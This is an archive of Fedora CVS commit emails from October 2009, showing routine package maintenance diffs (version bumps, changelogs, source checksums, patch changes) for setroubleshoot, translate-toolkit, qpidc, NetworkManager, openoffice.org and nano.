Update of /cvs/extras/rpms/setroubleshoot/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30813

Modified Files:
	.cvsignore setroubleshoot.spec sources 
Log Message:
* Thu Oct 15 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.41-1
- Add icon to browser



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot/devel/.cvsignore,v
retrieving revision 1.134
retrieving revision 1.135
diff -u -p -r1.134 -r1.135
--- .cvsignore	15 Oct 2009 14:25:51 -0000	1.134
+++ .cvsignore	15 Oct 2009 15:08:39 -0000	1.135
@@ -52,3 +52,4 @@ setroubleshoot-2.2.37.tar.gz
 setroubleshoot-2.2.38.tar.gz
 setroubleshoot-2.2.39.tar.gz
 setroubleshoot-2.2.40.tar.gz
+setroubleshoot-2.2.41.tar.gz


Index: setroubleshoot.spec
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot/devel/setroubleshoot.spec,v
retrieving revision 1.174
retrieving revision 1.175
diff -u -p -r1.174 -r1.175
--- setroubleshoot.spec	15 Oct 2009 14:08:28 -0000	1.174
+++ setroubleshoot.spec	15 Oct 2009 15:08:41 -0000	1.175
@@ -1,6 +1,6 @@
 Summary: Helps troubleshoot SELinux problems
 Name: setroubleshoot
-Version: 2.2.40
+Version: 2.2.41
 Release: 1%{?dist}
 License: GPLv2+
 Group: Applications/System
@@ -212,6 +212,9 @@ Setroubleshoot documentation package
 %doc %{pkgdocdir}
 
 %changelog
+* Thu Oct 15 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.41-1
+- Add icon to browser
+
 * Thu Oct 15 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.40-1
 - Fix up browser button handling when there are 0, 1 or more alerts
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot/devel/sources,v
retrieving revision 1.147
retrieving revision 1.148
diff -u -p -r1.147 -r1.148
--- sources	15 Oct 2009 14:25:51 -0000	1.147
+++ sources	15 Oct 2009 15:08:42 -0000	1.148
@@ -1 +1 @@
-f91cdbe0d7bf14b27bf5c6b0f599b3b7  setroubleshoot-2.2.40.tar.gz
+119f0f8d26a90460491fe388650c15ac  setroubleshoot-2.2.41.tar.gz



From dwayne at fedoraproject.org  Thu Oct 15 15:12:48 2009
From: dwayne at fedoraproject.org (dwayne)
Date: Thu, 15 Oct 2009 15:12:48 +0000 (UTC)
Subject: rpms/translate-toolkit/F-11 translate-toolkit.spec,1.35,1.36
Message-ID: <20091015151248.6C68911C00DB@cvs1.fedora.phx.redhat.com>

Author: dwayne

Update of /cvs/pkgs/rpms/translate-toolkit/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv414

Modified Files:
	translate-toolkit.spec 
Log Message:
Fix changelog date



Index: translate-toolkit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/translate-toolkit/F-11/translate-toolkit.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- translate-toolkit.spec	15 Oct 2009 14:38:07 -0000	1.35
+++ translate-toolkit.spec	15 Oct 2009 15:12:48 -0000	1.36
@@ -122,7 +122,7 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
-* Mon Aug 24 2009 Dwayne Bailey <dwayne at translate.org.za> - 1.4.1-1
+* Thu Oct 15 2009 Dwayne Bailey <dwayne at translate.org.za> - 1.4.1-1
 - Update to 1.4.1
    - Better support for printf (including numbered) variables (bug 1118)
    - Fixes for the upcoming Pootle, including combined searches (bug 1036)



From dwayne at fedoraproject.org  Thu Oct 15 15:16:04 2009
From: dwayne at fedoraproject.org (dwayne)
Date: Thu, 15 Oct 2009 15:16:04 +0000 (UTC)
Subject: rpms/translate-toolkit/F-12 translate-toolkit.spec,1.36,1.37
Message-ID: <20091015151604.7C3FE11C00DB@cvs1.fedora.phx.redhat.com>

Author: dwayne

Update of /cvs/pkgs/rpms/translate-toolkit/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1842

Modified Files:
	translate-toolkit.spec 
Log Message:
* Thu Oct 15 2009 Dwayne Bailey <dwayne at translate.org.za> - 1.4.1-2
- Retag



Index: translate-toolkit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/translate-toolkit/F-12/translate-toolkit.spec,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- translate-toolkit.spec	15 Oct 2009 15:05:15 -0000	1.36
+++ translate-toolkit.spec	15 Oct 2009 15:16:04 -0000	1.37
@@ -2,7 +2,7 @@
 
 Name:           translate-toolkit
 Version:        1.4.1
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Tools to assist with translation and software localization
 
 Group:          Development/Tools
@@ -122,7 +122,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
-* Mon Aug 24 2009 Dwayne Bailey <dwayne at translate.org.za> - 1.4.1-1
+* Thu Oct 15 2009 Dwayne Bailey <dwayne at translate.org.za> - 1.4.1-2
+- Retag
+
+* Thu Oct 15 2009 Dwayne Bailey <dwayne at translate.org.za> - 1.4.1-1
 - Update to 1.4.1
    - Better support for printf (including numbered) variables (bug 1118)
    - Fixes for the upcoming Pootle, including combined searches (bug 1036)



From nsantos at fedoraproject.org  Thu Oct 15 15:44:25 2009
From: nsantos at fedoraproject.org (Nuno Santos)
Date: Thu, 15 Oct 2009 15:44:25 +0000 (UTC)
Subject: rpms/qpidc/F-12 qpidc.spec,1.102,1.103 sources,1.46,1.47
Message-ID: <20091015154426.47E6511C00DB@cvs1.fedora.phx.redhat.com>

Author: nsantos

Update of /cvs/extras/rpms/qpidc/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11443

Modified Files:
	qpidc.spec sources 
Log Message:
Rebased to svn rev 825492


Index: qpidc.spec
===================================================================
RCS file: /cvs/extras/rpms/qpidc/F-12/qpidc.spec,v
retrieving revision 1.102
retrieving revision 1.103
diff -u -p -r1.102 -r1.103
--- qpidc.spec	29 Sep 2009 15:53:21 -0000	1.102
+++ qpidc.spec	15 Oct 2009 15:44:23 -0000	1.103
@@ -7,8 +7,8 @@
 %{!?ruby_sitelib: %define ruby_sitelib %(ruby -rrbconfig  -e 'puts Config::CONFIG["sitelibdir"]')}
 %{!?ruby_sitearch: %define ruby_sitearch %(ruby -rrbconfig -e 'puts Config::CONFIG["sitearchdir"]')}
 
-%define qpid_svnrev 819819
-%define rhm_svnrev 3641
+%define qpid_svnrev 825492
+%define rhm_svnrev 3670
 
 Name:           qpidc
 Version:        0.5.%{qpid_svnrev}
@@ -519,6 +519,9 @@ fi
 %postun -n qmf -p /sbin/ldconfig
 
 %changelog
+* Thu Oct 15 2009 Nuno Santos <nsantos at redhat.com> - 0.5.825492-1
+- Rebased to svn rev 825492
+
 * Tue Sep 29 2009 Nuno Santos <nsantos at redhat.com> - 0.5.819819-1
 - Rebased to svn rev 819819 for F12 beta
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/qpidc/F-12/sources,v
retrieving revision 1.46
retrieving revision 1.47
diff -u -p -r1.46 -r1.47
--- sources	29 Sep 2009 15:53:21 -0000	1.46
+++ sources	15 Oct 2009 15:44:23 -0000	1.47
@@ -1,2 +1,2 @@
-3f1f75be166b0d752a9132622d5742a8  qpidc-0.5.819819.tar.gz
-5f95f4583d345e5287457476e81d2f5b  rhm-0.5.3641.tar.gz
+a72b3660af43ccd0b989f630c9debf9a  qpidc-0.5.825492.tar.gz
+7c8dc2d88b457d612da845f8d196b6ec  rhm-0.5.3670.tar.gz



From dcbw at fedoraproject.org  Thu Oct 15 15:58:13 2009
From: dcbw at fedoraproject.org (Daniel Williams)
Date: Thu, 15 Oct 2009 15:58:13 +0000 (UTC)
Subject: rpms/NetworkManager/F-11 .cvsignore, 1.106,
	1.107 NetworkManager.spec, 
	1.278, 1.279 nm-applet-internal-buildfixes.patch, 1.8,
	1.9 sources, 1.144,
	1.145 nm-applet-file-chooser-validation.patch, 1.1, NONE
Message-ID: <20091015155813.2106611C00DB@cvs1.fedora.phx.redhat.com>

Author: dcbw

Update of /cvs/pkgs/rpms/NetworkManager/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17111

Modified Files:
	.cvsignore NetworkManager.spec 
	nm-applet-internal-buildfixes.patch sources 
Removed Files:
	nm-applet-file-chooser-validation.patch 
Log Message:
* Thu Oct 15 2009 Dan Williams <dcbw at redhat.com> - 0.7.1.996-1.git20091015
- nm: add support for PEAP-GTC (rh #451027)
- nm: ensure VPN secrets aren't re-used when they shouldn't be
- nm: fix race causing erroneous ethernet carrier change events
- nm: fixes for ZTE/Onda modem detection
- nm: enhanced support for Ericsson 'mbm' modems
- nm: work around PPP bug returning bogus nameservers
- applet: PEAP, TTLS, and wired 802.1x fixes
- applet: install GConf schemas
- applet: fix default focus for passphrase dialogs
- applet: translation updates




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager/F-11/.cvsignore,v
retrieving revision 1.106
retrieving revision 1.107
diff -u -p -r1.106 -r1.107
--- .cvsignore	8 Jul 2009 17:29:20 -0000	1.106
+++ .cvsignore	15 Oct 2009 15:58:12 -0000	1.107
@@ -157,3 +157,7 @@ NetworkManager-0.7.1.git20090617.tar.bz2
 network-manager-applet-0.7.1.git20090617.tar.bz2
 NetworkManager-0.7.1.git20090708.tar.bz2
 network-manager-applet-0.7.1.git20090708.tar.bz2
+NetworkManager-0.7.1.995.git20090928.tar.bz2
+network-manager-applet-0.7.1.995.git20090928.tar.bz2
+NetworkManager-0.7.1.996.git20091015.tar.bz2
+network-manager-applet-0.7.1.996.tar.bz2


Index: NetworkManager.spec
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager/F-11/NetworkManager.spec,v
retrieving revision 1.278
retrieving revision 1.279
diff -u -p -r1.278 -r1.279
--- NetworkManager.spec	9 Jul 2009 17:53:23 -0000	1.278
+++ NetworkManager.spec	15 Oct 2009 15:58:12 -0000	1.279
@@ -9,14 +9,14 @@
 %define libnl_version 1.1
 %define ppp_version 2.2.4
 
-%define snapshot .git20090708
-%define applet_snapshot .git20090708
+%define snapshot .git20091015
+%define applet_snapshot %{nil}
 
 Name: NetworkManager
 Summary: Network connection manager and user applications
 Epoch: 1
-Version: 0.7.1
-Release: 8%{snapshot}%{?dist}
+Version: 0.7.1.996
+Release: 1%{snapshot}%{?dist}
 Group: System Environment/Base
 License: GPLv2+
 URL: http://www.gnome.org/projects/NetworkManager/
@@ -26,7 +26,6 @@ Source1: network-manager-applet-%{versio
 Source2: nm-system-settings.conf
 Patch1: nm-applet-internal-buildfixes.patch
 Patch2: explain-dns1-dns2.patch
-Patch3: nm-applet-file-chooser-validation.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 PreReq:   chkconfig
@@ -147,7 +146,6 @@ tar -xjf %{SOURCE1}
 
 %patch1 -p1 -b .buildfix
 %patch2 -p1 -b .explain-dns1-dns2
-%patch3 -p1 -b .file-chooser-validate
 
 %build
 
@@ -164,14 +162,14 @@ autoreconf -i
 	--enable-more-warnings=yes \
 	--with-docs=yes \
 	--with-system-ca-path=/etc/pki/tls/certs
-make
+make %{?_smp_mflags}
 
 # build the applet
 pushd network-manager-applet-%{version}
 	autoreconf -i
 	intltoolize --force
 	%configure --disable-static --enable-more-warnings=yes
-	make
+	make %{?_smp_mflags}
 popd
 
 %install
@@ -235,11 +233,31 @@ exit 0
 %post   glib -p /sbin/ldconfig
 %postun glib -p /sbin/ldconfig
 
+%pre gnome
+if [ "$1" -gt 1 ]; then
+  export GCONF_CONFIG_SOURCE=`gconftool-2 --get-default-source`
+  if [ -f "%{_sysconfdir}/gconf/schemas/nm-applet.schemas" ]; then
+    gconftool-2 --makefile-uninstall-rule %{_sysconfdir}/gconf/schemas/nm-applet.schemas >/dev/null
+  fi
+fi
+
+%preun gnome
+if [ "$1" -eq 0 ]; then
+  export GCONF_CONFIG_SOURCE=`gconftool-2 --get-default-source`
+  if [ -f "%{_sysconfdir}/gconf/schemas/nm-applet.schemas" ]; then
+    gconftool-2 --makefile-uninstall-rule %{_sysconfdir}/gconf/schemas/nm-applet.schemas >/dev/null
+  fi
+fi
+
 %post gnome
 touch --no-create %{_datadir}/icons/hicolor
 if [ -x /usr/bin/gtk-update-icon-cache ]; then
   gtk-update-icon-cache -q %{_datadir}/icons/hicolor
 fi
+export GCONF_CONFIG_SOURCE=`gconftool-2 --get-default-source`
+if [ -f "%{_sysconfdir}/gconf/schemas/nm-applet.schemas" ]; then
+  gconftool-2 --makefile-install-rule %{_sysconfdir}/gconf/schemas/nm-applet.schemas >/dev/null
+fi
 
 %postun gnome
 touch --no-create %{_datadir}/icons/hicolor
@@ -304,6 +322,7 @@ fi
 %{_datadir}/icons/hicolor/scalable/apps/*.svg
 %{_sysconfdir}/xdg/autostart/nm-applet.desktop
 %dir %{_datadir}/gnome-vpn-properties
+%{_sysconfdir}/gconf/schemas/nm-applet.schemas
 
 %files glib
 %defattr(-,root,root,0755)
@@ -328,6 +347,21 @@ fi
 %{_datadir}/gtk-doc/html/libnm-util/*
 
 %changelog
+* Thu Oct 15 2009 Dan Williams <dcbw at redhat.com> - 0.7.1.996-1.git20091015
+- nm: add support for PEAP-GTC (rh #451027)
+- nm: ensure VPN secrets aren't re-used when they shouldn't be
+- nm: fix race causing erroneous ethernet carrier change events
+- nm: fixes for ZTE/Onda modem detection
+- nm: enhanced support for Ericsson 'mbm' modems
+- nm: work around PPP bug returning bogus nameservers
+- applet: PEAP, TTLS, and wired 802.1x fixes
+- applet: install GConf schemas
+- applet: fix default focus for passphrase dialogs
+- applet: translation updates
+
+* Thu Jul  9 2009 Dan Williams <dcbw at redhat.com> - 0.7.1-8.git20090708
+- applet: fix crash on error claiming D-Bus service (rh #519408)
+
 * Thu Jul  9 2009 Dan Williams <dcbw at redhat.com> - 0.7.1-8.git20090708
 - applet: fix certificate validation in hidden wifi networks dialog (rh #508207)
 

nm-applet-internal-buildfixes.patch:
 configure.ac                      |    4 ----
 src/Makefile.am                   |    8 +++++++-
 src/connection-editor/Makefile.am |    9 ++++++++-
 src/gconf-helpers/Makefile.am     |    8 +++++++-
 src/utils/Makefile.am             |    9 ++++++++-
 src/wireless-security/Makefile.am |    8 +++++++-
 6 files changed, 37 insertions(+), 9 deletions(-)

Index: nm-applet-internal-buildfixes.patch
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager/F-11/nm-applet-internal-buildfixes.patch,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- nm-applet-internal-buildfixes.patch	17 Jun 2009 18:47:51 -0000	1.8
+++ nm-applet-internal-buildfixes.patch	15 Oct 2009 15:58:12 -0000	1.9
@@ -1,6 +1,6 @@
-diff -up NetworkManager-0.7.1/network-manager-applet-0.7.1/configure.ac.buildfix NetworkManager-0.7.1/network-manager-applet-0.7.1/configure.ac
---- NetworkManager-0.7.1/network-manager-applet-0.7.1/configure.ac.buildfix	2009-04-04 18:03:25.000000000 -0400
-+++ NetworkManager-0.7.1/network-manager-applet-0.7.1/configure.ac	2009-04-05 08:31:12.000000000 -0400
+diff -up NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/configure.ac.buildfix NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/configure.ac
+--- NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/configure.ac.buildfix	2009-04-04 18:03:25.000000000 -0400
++++ NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/configure.ac	2009-04-05 08:31:12.000000000 -0400
 @@ -68,10 +68,6 @@ PKG_CHECK_MODULES(GOBJECT, gobject-2.0)
  PKG_CHECK_MODULES(NMA,
  		[dbus-glib-1 >= 0.74
@@ -12,9 +12,9 @@ diff -up NetworkManager-0.7.1/network-ma
  		 gtk+-2.0 >= 2.14
  		 libglade-2.0
  		 gmodule-export-2.0
-diff -up NetworkManager-0.7.1/network-manager-applet-0.7.1/src/connection-editor/Makefile.am.buildfix NetworkManager-0.7.1/network-manager-applet-0.7.1/src/connection-editor/Makefile.am
---- NetworkManager-0.7.1/network-manager-applet-0.7.1/src/connection-editor/Makefile.am.buildfix	2009-04-03 09:30:25.000000000 -0400
-+++ NetworkManager-0.7.1/network-manager-applet-0.7.1/src/connection-editor/Makefile.am	2009-04-05 08:31:12.000000000 -0400
+diff -up NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/src/connection-editor/Makefile.am.buildfix NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/src/connection-editor/Makefile.am
+--- NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/src/connection-editor/Makefile.am.buildfix	2009-04-03 09:30:25.000000000 -0400
++++ NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/src/connection-editor/Makefile.am	2009-04-05 08:31:12.000000000 -0400
 @@ -1,5 +1,9 @@
  bin_PROGRAMS = nm-connection-editor
  
@@ -37,9 +37,9 @@ diff -up NetworkManager-0.7.1/network-ma
  
  if NO_POLKIT_GNOME
  nm_connection_editor_LDADD += \
-diff -up NetworkManager-0.7.1/network-manager-applet-0.7.1/src/gconf-helpers/Makefile.am.buildfix NetworkManager-0.7.1/network-manager-applet-0.7.1/src/gconf-helpers/Makefile.am
---- NetworkManager-0.7.1/network-manager-applet-0.7.1/src/gconf-helpers/Makefile.am.buildfix	2008-11-26 20:37:43.000000000 -0500
-+++ NetworkManager-0.7.1/network-manager-applet-0.7.1/src/gconf-helpers/Makefile.am	2009-04-05 08:31:12.000000000 -0400
+diff -up NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/src/gconf-helpers/Makefile.am.buildfix NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/src/gconf-helpers/Makefile.am
+--- NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/src/gconf-helpers/Makefile.am.buildfix	2008-11-26 20:37:43.000000000 -0500
++++ NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/src/gconf-helpers/Makefile.am	2009-04-05 08:31:12.000000000 -0400
 @@ -1,3 +1,7 @@
 +INCLUDES = -I${top_srcdir}/../include \
 +           -I${top_srcdir}/../libnm-util \
@@ -57,9 +57,9 @@ diff -up NetworkManager-0.7.1/network-ma
 +	-L${top_builddir}/../libnm-util $(top_builddir)/../libnm-util/libnm-util.la \
 +	-L${top_builddir}/../libnm-glib $(top_builddir)/../libnm-glib/libnm_glib.la
  
-diff -up NetworkManager-0.7.1/network-manager-applet-0.7.1/src/Makefile.am.buildfix NetworkManager-0.7.1/network-manager-applet-0.7.1/src/Makefile.am
---- NetworkManager-0.7.1/network-manager-applet-0.7.1/src/Makefile.am.buildfix	2008-11-26 20:37:48.000000000 -0500
-+++ NetworkManager-0.7.1/network-manager-applet-0.7.1/src/Makefile.am	2009-04-05 08:31:12.000000000 -0400
+diff -up NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/src/Makefile.am.buildfix NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/src/Makefile.am
+--- NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/src/Makefile.am.buildfix	2008-11-26 20:37:48.000000000 -0500
++++ NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/src/Makefile.am	2009-04-05 08:31:12.000000000 -0400
 @@ -4,6 +4,10 @@ NULL=
  
  bin_PROGRAMS = nm-applet
@@ -82,9 +82,9 @@ diff -up NetworkManager-0.7.1/network-ma
  
  gladedir = $(datadir)/nm-applet
  glade_DATA = applet.glade keyring.png
-diff -up NetworkManager-0.7.1/network-manager-applet-0.7.1/src/utils/Makefile.am.buildfix NetworkManager-0.7.1/network-manager-applet-0.7.1/src/utils/Makefile.am
---- NetworkManager-0.7.1/network-manager-applet-0.7.1/src/utils/Makefile.am.buildfix	2008-11-26 20:37:48.000000000 -0500
-+++ NetworkManager-0.7.1/network-manager-applet-0.7.1/src/utils/Makefile.am	2009-04-05 08:31:12.000000000 -0400
+diff -up NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/src/utils/Makefile.am.buildfix NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/src/utils/Makefile.am
+--- NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/src/utils/Makefile.am.buildfix	2008-11-26 20:37:48.000000000 -0500
++++ NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/src/utils/Makefile.am	2009-04-05 08:31:12.000000000 -0400
 @@ -1,3 +1,7 @@
 +INCLUDES = -I${top_srcdir}/../include \
 +           -I${top_srcdir}/../libnm-util \
@@ -102,9 +102,9 @@ diff -up NetworkManager-0.7.1/network-ma
 +	-L${top_builddir}/../libnm-util $(top_builddir)/../libnm-util/libnm-util.la \
 +	-L${top_builddir}/../libnm-glib $(top_builddir)/../libnm-glib/libnm_glib.la
 +
-diff -up NetworkManager-0.7.1/network-manager-applet-0.7.1/src/wireless-security/Makefile.am.buildfix NetworkManager-0.7.1/network-manager-applet-0.7.1/src/wireless-security/Makefile.am
---- NetworkManager-0.7.1/network-manager-applet-0.7.1/src/wireless-security/Makefile.am.buildfix	2009-04-04 11:33:58.000000000 -0400
-+++ NetworkManager-0.7.1/network-manager-applet-0.7.1/src/wireless-security/Makefile.am	2009-04-05 08:31:12.000000000 -0400
+diff -up NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/src/wireless-security/Makefile.am.buildfix NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/src/wireless-security/Makefile.am
+--- NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/src/wireless-security/Makefile.am.buildfix	2009-04-04 11:33:58.000000000 -0400
++++ NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/src/wireless-security/Makefile.am	2009-04-05 08:31:12.000000000 -0400
 @@ -1,5 +1,9 @@
  noinst_LTLIBRARIES = libwireless-security.la
  


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager/F-11/sources,v
retrieving revision 1.144
retrieving revision 1.145
diff -u -p -r1.144 -r1.145
--- sources	8 Jul 2009 17:29:20 -0000	1.144
+++ sources	15 Oct 2009 15:58:12 -0000	1.145
@@ -1,2 +1,2 @@
-f361c757fda787a2a90719b9ae668702  NetworkManager-0.7.1.git20090708.tar.bz2
-801d31708a175d2133edc66007667d71  network-manager-applet-0.7.1.git20090708.tar.bz2
+451ac8f50f400c821b4a911074222063  NetworkManager-0.7.1.996.git20091015.tar.bz2
+e7ee1e623756c632134dc6b4cf47bcb1  network-manager-applet-0.7.1.996.tar.bz2


--- nm-applet-file-chooser-validation.patch DELETED ---



From caolanm at fedoraproject.org  Thu Oct 15 16:21:52 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Thu, 15 Oct 2009 16:21:52 +0000 (UTC)
Subject: rpms/openoffice.org/devel .cvsignore, 1.230, 1.231 sources, 1.376,
	1.377
Message-ID: <20091015162152.571D711C00DB@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25142

Modified Files:
	.cvsignore sources 
Log Message:
next sources


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/.cvsignore,v
retrieving revision 1.230
retrieving revision 1.231
diff -u -p -r1.230 -r1.231
--- .cvsignore	9 Oct 2009 11:07:49 -0000	1.230
+++ .cvsignore	15 Oct 2009 16:21:52 -0000	1.231
@@ -6,4 +6,4 @@ redhat-templates.tar.gz
 redhat-registry.tar.gz
 redhat-langpacks.tar.gz
 openoffice.org-javafilter.desktop
-OOO320_m1.tar.bz2
+OOO320_m2.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/sources,v
retrieving revision 1.376
retrieving revision 1.377
diff -u -p -r1.376 -r1.377
--- sources	11 Oct 2009 11:51:45 -0000	1.376
+++ sources	15 Oct 2009 16:21:52 -0000	1.377
@@ -6,4 +6,4 @@ f0cda31fe18bf9289629a321663031b8  redhat
 ffa417a9556cdb16028c83718d758bc7  redhat-langpacks.tar.gz
 39a2c59cfae4019eda4a63f414c0aa54  redhat-registry.tar.gz
 6c28507e29056a3afb4baffdadab8499  openoffice.org-javafilter.desktop
-fc7941d6d9f055698310596e51563ccf  OOO320_m1.tar.bz2
+92f8212f83d4cbbb9fd69e9a327cc122  OOO320_m2.tar.bz2



From caolanm at fedoraproject.org  Thu Oct 15 16:22:58 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Thu, 15 Oct 2009 16:22:58 +0000 (UTC)
Subject: rpms/openoffice.org/devel openoffice.org.spec,1.2039,1.2040
Message-ID: <20091015162258.BE1C611C00DB@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25444

Modified Files:
	openoffice.org.spec 
Log Message:
next version


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org.spec,v
retrieving revision 1.2039
retrieving revision 1.2040
diff -u -p -r1.2039 -r1.2040
--- openoffice.org.spec	15 Oct 2009 08:10:07 -0000	1.2039
+++ openoffice.org.spec	15 Oct 2009 16:22:58 -0000	1.2040
@@ -1,6 +1,6 @@
 %define oootag OOO320
-%define ooomilestone 1
-%define rh_rpm_release 3
+%define ooomilestone 2
+%define rh_rpm_release 1
 
 # rhbz#465664 jar-repacking breaks help by reordering META-INF/MANIFEST.MF
 %define __jar_repack %{nil}
@@ -4121,7 +4121,7 @@ fi
     unopkg list --shared > /dev/null 2>&1 || :
 
 %changelog
-* Thu Oct 15 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.2.0-1.3-UNBUILT
+* Thu Oct 15 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.2.0-2.1
 - Resolves: rhbz#529127 [Indic][Various] Default font in oowriter is
   not Language Default (Lohit or Other), but DejaVu Sans (dtardon)
 



From caolanm at fedoraproject.org  Thu Oct 15 16:53:27 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Thu, 15 Oct 2009 16:53:27 +0000 (UTC)
Subject: rpms/openoffice.org/devel openoffice.org.spec, 1.2040,
	1.2041 workspace.dba32h.patch, 1.1, NONE
Message-ID: <20091015165327.2795611C00DB@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3979

Modified Files:
	openoffice.org.spec 
Removed Files:
	workspace.dba32h.patch 
Log Message:
drop workspace.dba32h.patch


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org.spec,v
retrieving revision 1.2040
retrieving revision 1.2041
diff -u -p -r1.2040 -r1.2041
--- openoffice.org.spec	15 Oct 2009 16:22:58 -0000	1.2040
+++ openoffice.org.spec	15 Oct 2009 16:53:26 -0000	1.2041
@@ -114,8 +114,7 @@ Patch40: openoffice.org-3.1.1.ooo64671.c
 Patch41: openoffice.org-3.1.1.oooXXXXXX.sal.justcoredump.patch
 Patch42: workspace.vcl106.patch
 Patch43: openoffice.org-3.1.1.ooo105784.vcl.sniffscriptforsubs.patch
-Patch44: workspace.dba32h.patch
-Patch45: openoffice.org-3.2.0.ooo105827.filter.xpath-on-rtf-not-allowed.patch
+Patch44: openoffice.org-3.2.0.ooo105827.filter.xpath-on-rtf-not-allowed.patch
 
 %define python_py_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(0)")
 %define instdir %{_libdir}
@@ -1619,8 +1618,7 @@ cat %{PATCH10} >> svtools/source/dialogs
 %patch41 -p1 -b .oooXXXXXX.sal.justcoredump.patch
 %patch42 -p0 -b .workspace.vcl106.patch
 %patch43 -p0 -b .ooo105784.vcl.sniffscriptforsubs.patch
-%patch44 -p0 -b .workspace.dba32h.patch
-%patch45 -p0 -b .ooo105827.filter.xpath-on-rtf-not-allowed.patch
+%patch44 -p0 -b .ooo105827.filter.xpath-on-rtf-not-allowed.patch
 
 %build
 echo build start time is `date`, diskspace: `df -h . | tail -n 1`
@@ -4124,6 +4122,7 @@ fi
 * Thu Oct 15 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.2.0-2.1
 - Resolves: rhbz#529127 [Indic][Various] Default font in oowriter is
   not Language Default (Lohit or Other), but DejaVu Sans (dtardon)
+- drop integrated workspace.dba32h.patch (caolanm)
 
 * Wed Oct 14 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.2.0-1.2
 - don't link against dtrans, not needed anymore (caolanm)


--- workspace.dba32h.patch DELETED ---



From kdudka at fedoraproject.org  Thu Oct 15 17:10:24 2009
From: kdudka at fedoraproject.org (Kamil Dudka)
Date: Thu, 15 Oct 2009 17:10:24 +0000 (UTC)
Subject: rpms/nano/devel nano.spec,1.32,1.33 nanorc,1.1,1.2
Message-ID: <20091015171024.4784F11C02A2@cvs1.fedora.phx.redhat.com>

Author: kdudka

Update of /cvs/extras/rpms/nano/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11044

Modified Files:
	nano.spec nanorc 
Log Message:
- use nanorc.sample as base of /etc/nanorc


Index: nano.spec
===================================================================
RCS file: /cvs/extras/rpms/nano/devel/nano.spec,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- nano.spec	13 Oct 2009 12:27:43 -0000	1.32
+++ nano.spec	15 Oct 2009 17:10:23 -0000	1.33
@@ -1,7 +1,7 @@
 Summary:         A small text editor
 Name:            nano
 Version:         2.0.9
-Release:         5%{?dist}
+Release:         6%{?dist}
 License:         GPLv2+
 Group:           Applications/Editors
